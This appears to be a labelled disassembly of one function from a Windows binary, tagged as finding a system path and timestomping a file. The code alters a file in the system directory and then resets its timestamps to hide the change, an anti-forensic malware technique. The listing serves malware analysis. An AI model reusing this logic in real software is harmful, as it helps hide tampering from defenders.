Function at 0x43bba0
Capabilities:
Get common file path
Timestomp file

Disassembly:
sub esp, 0x2d0
mov dword [esp + 0x28], edx
push ebx
mov dword [esp + 0x30], ecx
push esi
lea eax, [esp + 0x48]
push edi
mov dword [esp + 0x14], 0x18
mov dword [esp + 0x18], 0
push ebp
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x43bbe3
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2d0
ret
lea edi, [esp + 0x50]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
shr ecx, 2
mov esi, edi
lea edi, [esp + 0x154]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x43f3ec
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x50]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x3e90
and ecx, 3
push 0x42
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalAlloc_1]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock_1]
mov ebx, eax
test ebx, ebx
jne 0x43bc64
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2d0
ret
lea eax, [esp + 0x154]
push ebx
push eax
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
call ebp
cmp eax, 0xffffffff
je 0x43bc8c
mov edx, dword [ebx + 0x18]
lea eax, [ebx + 0x14]
mov ecx, dword [eax]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], edx
jmp 0x43bca1
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime_1]
lea eax, [esp + 0x2c]
mov ebp, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push eax
push ebx
call ebp
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x48], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x44], ecx
lea eax, [esp + 0x258]
push 0x4000
lea ecx, [esp + 0x54]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_OpenFile]
cmp eax, 0xffffffff
jne 0x43bd4e
lea eax, [esp + 0x50]
push 6
push eax
call dword [sym.imp.KERNEL32.dll__lcreat]
mov ebp, eax
push 4
mov dword [esp + 0x20], 0x14
mov dword [esp + 0x18], 0
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [esp + 0x1c]
push 4
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lwrite]
push 4
push 0x442d18
push ebp
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [esp + 0x18]
push 4
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [esp + 0x14]
push 4
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [esp + 0x14]
push 4
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lwrite]
jmp 0x43bdfc
push eax
call dword [sym.imp.KERNEL32.dll__lclose]
lea eax, [esp + 0x50]
push 0
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov ebp, eax
push 4
lea eax, [esp + 0x18]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
cmp dword [esp + 0x14], 0
jne 0x43bdda
lea eax, [esp + 0x1c]
push 4
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
cmp dword [esp + 0x1c], 0x14
jne 0x43bdb2
push 4
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
lea eax, [esp + 0x18]
push 4
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
push 8
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
jmp 0x43bdfc
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll__llseek]
push 0xc
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
cmp byte [ebx], 0x7b
jne 0x43bedc
cmp byte [ebx + 0xb], 0x7d
jne 0x43bedc
push 2
push 0
push ebp
call dword [sym.imp.KERNEL32.dll__llseek]
mov dword [esp + 0x18], eax
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll__llseek]
mov dword [esp + 0x1c], 0xa
cmp ebp, 0xffffffff
je 0x43bf0a
cmp dword [esp + 0x1c], 0x14
mov dword [esp + 0x10], 0x18
je 0x43be1c
mov dword [esp + 0x10], 4
push 0x10
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
mov dword [esp + 0x34], 0
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x10]
add eax, 0x10
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
cmp eax, dword [esp + 0x18]
jge 0x43bf40
lea eax, [ebx + 0xc]
mov dword [esp + 0x24], eax
cmp dword [eax], 0x3e80
jg 0x43bea7
cmp byte [ebx], 0x7b
jne 0x43bea7
mov ecx, 0xc
mov esi, dword [0x442c68]
mov edi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x43bf17
push 1
mov ecx, dword [eax]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll__llseek]
mov ecx, dword [esp + 0x24]
push 0x10
push ebx
push ebp
mov eax, dword [ecx]
add eax, dword [esp + 0x34]
add dword [esp + 0x1c], eax
mov eax, dword [ecx]
add eax, 0x10
add dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll__lread]
mov dword [esp + 0x28], eax
jmp 0x43be3d
push ebp
call dword [sym.imp.KERNEL32.dll__lclose]
lea ecx, [esp + 0x50]
mov edx, dword [esp + 0x10]
call fcn.0043b990
test eax, eax
jne 0x43bf21
lea eax, [esp + 0x258]
push 0x200
lea ecx, [esp + 0x54]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_OpenFile]
jmp 0x43bcb9
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock_1]
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree_1]
push ebp
call dword [sym.imp.KERNEL32.dll__lclose]
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2d0
ret
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2d0
ret
mov dword [esp + 0x34], 1
jmp 0x43bf40
lea eax, [esp + 0x50]
push 0
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov dword [esp + 0x28], 0
mov ebp, eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
lea eax, [esp + 0x154]
push eax
push 0x1a3
lea eax, [esp + 0x15c]
push 0x43f3e8
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea ecx, [esp + 0x154]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll__lcreat]
cmp eax, 0xffffffff
mov esi, eax
jne 0x43bfa5
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock_1]
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree_1]
push ebp
call dword [sym.imp.KERNEL32.dll__lclose]
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2d0
ret
cmp dword [esp + 0x34], 0
je 0x43bfbc
mov edi, dword [ebx + 0xc]
push 0
add edi, dword [esp + 0x2c]
add edi, dword [esp + 0x14]
push edi
jmp 0x43bfc7
mov edi, dword [esp + 0x18]
push 0
mov eax, dword [esp + 0x1c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll__llseek]
mov eax, dword [esp + 0x18]
sub eax, edi
mov edi, 0x3e80
mov dword [esp + 0x14], eax
cmp eax, edi
jl 0x43c001
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll__lwrite]
sub dword [esp + 0x14], 0x3e80
cmp dword [esp + 0x14], edi
jge 0x43bfe1
mov eax, dword [esp + 0x14]
push eax
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll__lread]
mov eax, dword [esp + 0x14]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll__lwrite]
push ebp
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
lea eax, [esp + 0x154]
push 0
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
mov esi, eax
push 1
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll__lopen]
cmp dword [esp + 0x34], 0
mov edi, eax
jne 0x43c059
mov eax, dword [esp + 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll__llseek]
push 0xc
mov eax, dword [0x442c68]
push eax
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
lea eax, [esp + 0x38]
push 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
mov dword [esp + 0x14], eax
push 0
add eax, 0x10
push 0
add dword [esp + 0x18], eax
push esi
call dword [sym.imp.KERNEL32.dll__llseek]
push 0x3e80
push ebx
push esi
call dword [sym.imp.KERNEL32.dll__lread]
cmp eax, 0x3e80
mov ebp, eax
jne 0x43c0ec
push 0x3e80
push ebx
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
add dword [esp + 0x10], 0x3e80
push 0x3e80
push ebx
push esi
call dword [sym.imp.KERNEL32.dll__lread]
cmp eax, 0x3e80
mov ebp, eax
je 0x43c0c1
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
add dword [esp + 0x10], ebp
cmp dword [esp + 0x1c], 0x14
jne 0x43c1a6
push 0
push 0xc
push edi
call dword [sym.imp.KERNEL32.dll__llseek]
lea eax, [esp + 0x10]
push 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
mov eax, dword [esp + 0x10]
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll__llseek]
mov ecx, 0x1800
mov eax, dword [esp + 0x10]
cdq
idiv ecx
mov ebp, ecx
mov eax, 0x3e80
mov dword [esp + 0x10], 0
sub ecx, edx
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x10]
mov byte [ecx + ebx], 0x55
inc dword [esp + 0x10]
cmp dword [esp + 0x10], eax
jl 0x43c14c
cmp dword [esp + 0x20], 0x3e80
jl 0x43c199
mov ecx, 0x3e80
mov eax, dword [esp + 0x20]
sub edx, edx
div ecx
mov ebp, eax
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea eax, [ecx + ecx*4]
shl eax, 7
neg eax
add dword [esp + 0x20], eax
push 0x3e80
push ebx
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
dec ebp
jne 0x43c189
mov eax, dword [esp + 0x20]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll__lwrite]
push edi
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
lea eax, [esp + 0x258]
push 0x200
lea ecx, [esp + 0x158]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_OpenFile]
lea ecx, [esp + 0x50]
push 0
push pe_nt_image_headers32
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA_1]
push 3
push 0
push 3
push 0xc0000000
push ecx
call ebp
mov esi, eax
lea ecx, [esp + 0x40]
lea eax, [esp + 0x2c]
lea edx, [esp + 0x48]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle_1]
call ebp
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_GlobalHandle]
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock_1]
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree_1]
mov eax, dword [esp + 0x38]
cmp dword [esp + 0x14], eax
mov eax, 0
jl 0x43c23d
mov eax, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x2d0
ret